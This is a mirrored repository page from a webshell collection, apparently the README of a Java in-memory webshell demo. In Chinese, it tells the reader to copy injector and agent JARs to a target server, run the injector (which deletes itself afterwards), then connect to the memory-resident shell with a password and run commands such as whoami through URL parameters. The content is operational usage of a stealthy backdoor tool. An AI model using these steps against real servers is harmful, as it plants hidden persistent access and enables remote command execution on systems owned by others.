mirror of
https://github.com/tennc/webshell
synced 2024-11-22 03:03:03 +00:00
0196c72a01
from: https://github.com/jweny/MemShellDemo/tree/master/MemShellForJava/%E5%AD%97%E8%8A%82%E7%A0%81%E5%A2%9E%E5%BC%BA%E5%9E%8B/retransform%E5%AD%97%E8%8A%82%E7%A0%81
347 B
347 B
将release中的inject.jar agent.jar复制目标服务器。
运行inject.jar:
(测试时注意备份,会删除自身和agent.jar)
java -jar inject.jar 123
连接内存马:
http://ip:port/1.jsp?pass_the_world=123&model=chopper
执行命令:
http://ip:port/1.jsp?pass_the_world=123&model=exec&cmd=whoami